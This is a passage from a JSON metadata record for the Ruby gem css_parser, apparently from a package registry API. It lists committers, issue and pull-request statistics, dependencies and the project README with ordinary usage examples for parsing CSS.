Pitiyanuvath","email":"visnupx@gmail.com","login":null,"count":1},{"name":"Rick Martinez","email":"rick@flavorpill.com","login":null,"count":1},{"name":"Prathan Thananart","email":"prathan@oozou.com","login":null,"count":1},{"name":"Nick Markwell","email":"nick@duckinator.net","login":null,"count":1},{"name":"Kasparas Galdikas","email":"kasparas.galdikas@pure360.com","login":null,"count":1},{"name":"Camille Drapier","email":"c.drapier@allm.inc","login":null,"count":1},{"name":"Ari Pollak","email":"ari@scvngr.com","login":null,"count":1},{"name":"Anmol Chopra","email":"anmolchopra@rocketbox.in","login":null,"count":1},{"name":"Will Oller","email":"will@willoller.com","login":"willoller","count":1},{"name":"eatcpcks","email":"yannick.schutz@gmail.com","login":"ys","count":1},{"name":"fukayatsu","email":"fukayatsu@gmail.com","login":"fukayatsu","count":1},{"name":"gpxl","email":"gerlando@gmail.com","login":"gpxl","count":1},{"name":"Aaron Brager","email":"getagb@gmail.com","login":"getaaron","count":1},{"name":"Aaron Jensen","email":"aaronjensen@gmail.com","login":"aaronjensen","count":1},{"name":"Brendon Murphy","email":"xternal1+github@gmail.com","login":"bemurphy","count":1},{"name":"Brian Cully","email":"bjc@kublai.com","login":"bjc","count":1},{"name":"Christian Billen","email":"cbillen@warmlyyours.com","login":"cbillen","count":1},{"name":"David Wessman","email":"david.wesmn@gmail.com","login":"davidwessman","count":1},{"name":"Dimitar Dimitrov","email":"me@ddimitrov.name","login":"mitio","count":1},{"name":"Edward Betts","email":"edward@4angle.com","login":"EdwardBetts","count":1},{"name":"Fabio Alessandro Locati","email":"me@fale.io","login":"Fale","count":1},{"name":"Gannon McGibbon","email":"gannon.mcgibbon@gmail.com","login":"gmcgibbon","count":1},{"name":"Giles Bowkett","email":"gilesb@gmail.com","login":"gilesbowkett","count":1},{"name":"Ian Ehlert","email":"ehlertij@gmail.com","login":"ehlertij","count":1},{"name":"Jakub Pavlík","email":"severus@post.cz","login":"igneus","count":1},{"name":"James Jacques","email":"nicholas.jacques@sympliact.com","login":"nicholas-jacques-sympliact","count":1},{"name":"Josh Evans","email":"josh.evans@causes.com","login":"jievans","count":1},{"name":"Matthew M. Boedicker","email":"matthewm@boedicker.org","login":"mmb","count":1},{"name":"Mog Nesbitt","email":"mog@seriousorange.com","login":"mogest","count":1},{"name":"logicaltext","email":"logicaltext@logicaltext.com","login":"logicaltext","count":1}],"past_year_committers":[{"name":"Michael Grosser","email":"michael@grosser.it","login":"grosser","count":9},{"name":"Jonathan Leitschuh","email":"Jonathan.Leitschuh@braze.com","login":"JLLeitschuh","count":3},{"name":"Paul Sokolik","email":"sokolik@squareup.com","login":"sokolikp","count":2},{"name":"fukayatsu","email":"fukayatsu@gmail.com","login":"fukayatsu","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-16T00:00:07.202Z","repositories_count":6674468,"commits_count":954103881,"contributors_count":40431944,"owners_count":1341999,"committers_count":3315938,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues_stats":{"full_name":"premailer/css_parser","html_url":"https://github.com/premailer/css_parser","last_synced_at":"2026-08-11T03:32:46.305Z","status":"error","issues_count":44,"pull_requests_count":120,"avg_time_to_close_issue":23844183.615384616,"avg_time_to_close_pull_request":10644103.027777778,"issues_closed_count":26,"pull_requests_closed_count":108,"pull_request_authors_count":62,"issue_authors_count":38,"avg_comments_per_issue":2.6136363636363638,"avg_comments_per_pull_request":1.5916666666666668,"merged_pull_requests_count":93,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":4,"past_year_pull_requests_count":4,"past_year_avg_time_to_close_issue":53396.0,"past_year_avg_time_to_close_pull_request":243885.66666666666,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":3,"past_year_pull_request_authors_count":4,"past_year_issue_authors_count":3,"past_year_avg_comments_per_issue":3.5,"past_year_avg_comments_per_pull_request":1.25,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":2,"created_at":"2023-05-12T09:28:31.439Z","updated_at":"2026-08-11T03:32:46.305Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/issues","issue_labels_count":{},"pull_request_labels_count":{},"issue_author_associations_count":{"NONE":33,"CONTRIBUTOR":11},"pull_request_author_associations_count":{"CONTRIBUTOR":94,"NONE":26},"issue_authors":{"stoivo":3,"ojab":2,"sarken":2,"twe4ked":2,"tagliala":2,"aried3r":1,"jonhyman":1,"jdelStrother":1,"joevandyk":1,"marocas":1,"Mange":1,"mrueg":1,"getaaron":1,"devend711":1,"jpbarbosa":1,"mike-engel":1,"DannyBen":1,"zz9pzza":1,"george-gca":1,"JasonBarnabe":1,"anniecodes":1,"sampatbadhe":1,"olleolleolle":1,"rockrep":1,"AndyObtiva":1,"npearson72":1,"djvs":1,"JonathanKolnik":1,"willtcarey":1,"chopraanmol1":1,"jacquesn":1,"NeilBetham":1,"appf-mike":1,"lucasdchamps":1,"ericfreese":1,"EBashkoff":1,"JLLeitschuh":1,"paloaltowil":1},"pull_request_authors":{"tagliala":17,"stoivo":15,"ojab":8,"grosser":7,"leonid-shevtsov":6,"markedmondson":3,"mogest":2,"reud":2,"scouttyg":2,"george-gca":2,"jdelStrother":2,"davidwessman":2,"timcraft":2,"aried3r":2,"devend711":1,"rickmzp":1,"mkigikm":1,"mzsanford":1,"morten":1,"getaaron":1,"albertinator":1,"kalilz4485":1,"rustyio":1,"fukayatsu":1,"davidmoradi":1,"stevendaniels":1,"smgt":1,"alduethadyn":1,"viraptor":1,"johnnyshields":1,"gmcgibbon":1,"jievans":1,"tres":1,"dark-panda":1,"cbillen":1,"miafoo":1,"igneus":1,"jacquesn":1,"geoffyoungs":1,"mitio":1,"Fale":1,"CamilleDrapier":1,"mreinsch":1,"scomma":1,"EdwardBetts":1,"martent":1,"mmb":1,"archiloque":1,"kasparasg":1,"chopraanmol1":1,"G0dwin":1,"ehlertij":1,"bsislow-or":1,"joevandyk":1,"sokolikp":1,"mattparlane":1,"dorianmariefr":1,"rafbm":1,"bobjflong":1,"rafeca":1,"EBashkoff":1,"gpxl":1},"host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-12T00:00:07.634Z","repositories_count":14788490,"issues_count":28110968,"pull_requests_count":92464633,"authors_count":11438040,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"},"past_year_issue_labels_count":{},"past_year_pull_request_labels_count":{},"past_year_issue_author_associations_count":{"NONE":4},"past_year_pull_request_author_associations_count":{"CONTRIBUTOR":2,"NONE":2},"past_year_issue_authors":{"sarken":2,"appf-mike":1,"JLLeitschuh":1},"past_year_pull_request_authors":{"fukayatsu":1,"geoffyoungs":1,"grosser":1,"sokolikp":1},"maintainers":[],"active_maintainers":[]},"events":{"total":{"DeleteEvent":1,"PullRequestEvent":12,"ForkEvent":2,"IssuesEvent":3,"WatchEvent":7,"IssueCommentEvent":14,"PushEvent":13,"PullRequestReviewCommentEvent":4,"PullRequestReviewEvent":8,"CreateEvent":5},"last_year":{"DeleteEvent":1,"PullRequestEvent":2,"ForkEvent":1,"IssuesEvent":1,"WatchEvent":1,"IssueCommentEvent":5,"PushEvent":4,"PullRequestReviewCommentEvent":3,"PullRequestReviewEvent":4,"CreateEvent":1}},"keywords":["css-parser","ruby"],"dependencies":[{"ecosystem":"rubygems","filepath":"Gemfile.lock","sha":null,"kind":"lockfile","created_at":"2022-09-10T15:41:39.211Z","updated_at":"2022-09-10T15:41:39.211Z","repository_link":"https://github.com/premailer/css_parser/blob/master/Gemfile.lock","dependencies":[{"id":4408465776,"package_name":"css_parser","ecosystem":"rubygems","requirements":"1.11.0","direct":false,"kind":"runtime","optional":false},{"id":4408465777,"package_name":"addressable","ecosystem":"rubygems","requirements":"2.8.0","direct":false,"kind":"runtime","optional":false},{"id":4408465778,"package_name":"ast","ecosystem":"rubygems","requirements":"2.4.1","direct":false,"kind":"runtime","optional":false},{"id":4408465779,"package_name":"benchmark-ips","ecosystem":"rubygems","requirements":"2.8.4","direct":false,"kind":"runtime","optional":false},{"id":4408465780,"package_name":"bump","ecosystem":"rubygems","requirements":"0.10.0","direct":false,"kind":"runtime","optional":false},{"id":4408465781,"package_name":"maxitest","ecosystem":"rubygems","requirements":"3.6.0","direct":false,"kind":"runtime","optional":false},{"id":4408465782,"package_name":"memory_profiler","ecosystem":"rubygems","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":4408465783,"package_name":"minitest","ecosystem":"rubygems","requirements":"5.12.0","direct":false,"kind":"runtime","optional":false},{"id":4408465784,"package_name":"parallel","ecosystem":"rubygems","requirements":"1.20.1","direct":false,"kind":"runtime","optional":false},{"id":4408465785,"package_name":"parser","ecosystem":"rubygems","requirements":"3.0.0.0","direct":false,"kind":"runtime","optional":false},{"id":4408465786,"package_name":"public_suffix","ecosystem":"rubygems","requirements":"4.0.6","direct":false,"kind":"runtime","optional":false},{"id":4408465787,"package_name":"rainbow","ecosystem":"rubygems","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":4408465788,"package_name":"rake","ecosystem":"rubygems","requirements":"13.0.3","direct":false,"kind":"runtime","optional":false},{"id":4408465789,"package_name":"regexp_parser","ecosystem":"rubygems","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":4408465790,"package_name":"rexml","ecosystem":"rubygems","requirements":"3.2.4","direct":false,"kind":"runtime","optional":false},{"id":4408465791,"package_name":"rubocop","ecosystem":"rubygems","requirements":"1.8.0","direct":false,"kind":"runtime","optional":false},{"id":4408465792,"package_name":"rubocop-ast","ecosystem":"rubygems","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":4408465793,"package_name":"rubocop-rake","ecosystem":"rubygems","requirements":"0.5.1","direct":false,"kind":"runtime","optional":false},{"id":4408465794,"package_name":"ruby-progressbar","ecosystem":"rubygems","requirements":"1.11.0","direct":false,"kind":"runtime","optional":false},{"id":4408465795,"package_name":"unicode-display_width","ecosystem":"rubygems","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":4408465796,"package_name":"webrick","ecosystem":"rubygems","requirements":"1.7.0","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"rubygems","filepath":"css_parser.gemspec","sha":null,"kind":"manifest","created_at":"2022-09-10T15:41:39.278Z","updated_at":"2022-09-10T15:41:39.278Z","repository_link":"https://github.com/premailer/css_parser/blob/master/css_parser.gemspec","dependencies":[{"id":4408466662,"package_name":"addressable","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":4408466663,"package_name":"benchmark-ips","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":4408466664,"package_name":"bump","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":4408466665,"package_name":"maxitest","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":4408466666,"package_name":"memory_profiler","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":4408466667,"package_name":"rake","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":4408466668,"package_name":"rubocop","ecosystem":"rubygems","requirements":"~\u003e 1.8","direct":true,"kind":"development","optional":false},{"id":4408466669,"package_name":"rubocop-rake","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":4408466670,"package_name":"webrick","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2023-02-08T13:20:12.481Z","updated_at":"2023-02-08T13:20:12.481Z","repository_link":"https://github.com/premailer/css_parser/blob/master/.github/workflows/ci.yml","dependencies":[{"id":7453584961,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v2","direct":true,"kind":"composite","optional":false},{"id":7453584962,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"rubygems","filepath":"Gemfile","sha":null,"kind":"manifest","created_at":"2024-02-26T00:59:51.235Z","updated_at":"2024-02-26T00:59:51.235Z","repository_link":"https://github.com/premailer/css_parser/blob/master/Gemfile","dependencies":[]}],"score":31.21889854992405,"created_at":"2024-12-15T21:38:07.892Z","updated_at":"2026-08-16T06:00:57.760Z","avatar_url":"https://github.com/premailer.png","language":"Ruby","monthly_downloads":0,"readme":"# Ruby CSS Parser [![Build Status](https://github.com/premailer/css_parser/workflows/Run%20css_parser%20CI/badge.svg)](https://github.com/ojab/css_parser/actions?query=workflow%3A%22Run+css_parser+CI%22) [![Gem Version](https://badge.fury.io/rb/css_parser.svg)](https://badge.fury.io/rb/css_parser)\n\nLoad, parse and cascade CSS rule sets in Ruby.\n\n# Setup\n\n```Bash\ngem install css_parser\n```\n\n# Usage\n\n```Ruby\nrequire 'css_parser'\ninclude CssParser\n\nparser = CssParser::Parser.new\nparser.load_uri!('http://example.com/styles/style.css')\n\nparser = CssParser::Parser.new\nparser.load_uri!('file://home/user/styles/style.css')\n\n# load a remote file, setting the base_uri and media_types\nparser.load_uri!('../style.css', {base_uri: 'http://example.com/styles/inc/', media_types: [:screen, :handheld]})\n\n# load a local file, setting the base_dir and media_types\nparser.load_file!('print.css', '~/styles/', :print)\n\n# load a string\nparser = CssParser::Parser.new\nparser.load_string! 'a { color: hotpink; }'\n\n# lookup a rule by a selector\nparser.find_by_selector('#content')\n#=\u003e 'font-size: 13px; line-height: 1.2;'\n\n# lookup a rule by a selector and media type\nparser.find_by_selector('#content', [:screen, :handheld])\n\n# iterate through selectors by media type\nparser.each_selector(:screen) do |selector, declarations, specificity|\n  ...\nend\n\n# add a block of CSS\ncss = \u003c\u003c-EOT\n  body { margin: 0 1em; }\nEOT\n\nparser.add_block!(css)\n\n# output all CSS rules in a single stylesheet\nparser.to_s\n=\u003e #content { font-size: 13px; line-height: 1.2; }\n   body { margin: 0 1em; }\n\n# capturing byte offsets within a file\nparser.load_uri!('../style.css', {base_uri: 'http://example.com/styles/inc/', capture_offsets: true)\ncontent_rule = parser.find_rule_sets(['#content']).first\ncontent_rule.filename\n#=\u003e 'http://example.com/styles/styles.css'\ncontent_rule.offset\n#=\u003e 10703..10752\n\n# capturing byte offsets within a string\nparser.load_string!('a { color: hotpink; }', {filename: 'index.html', capture_offsets: true)\ncontent_rule = parser.find_rule_sets(['a']).first\ncontent_rule.filename\n#=\u003e 'index.html'\ncontent_rule.offset\n#=\u003e 0..21\n```\n\n# Testing\n\n```Bash\nbundle\nbundle exec rake\n```\n\nRuns on Ruby 3.0/JRuby 9.4 or above.\n\n# Credits\n\nBy Alex Dunae (dunae.ca, e-mail 'code' at the same domain), 2007-11.\n\nLicense: MIT\n\nThanks to [all the wonderful contributors](http://github.com/premailer/css_parser/contributors) for their updates.\n\nMade on Vancouver Island.\n","funding_links":[],"readme_doi_urls":[],"works":{},"citation_counts":{},"total_citations":0,"keywords_from_contributors":["activerecord","mvc","activejob","crash-reporting","nokogiri","rack","premailer","mail","inline","rubygems"],"project_url":"https://ruby.ecosyste.ms/api/v1/projects/375","html_url":"https://ruby.ecosyste.ms/projects/375"}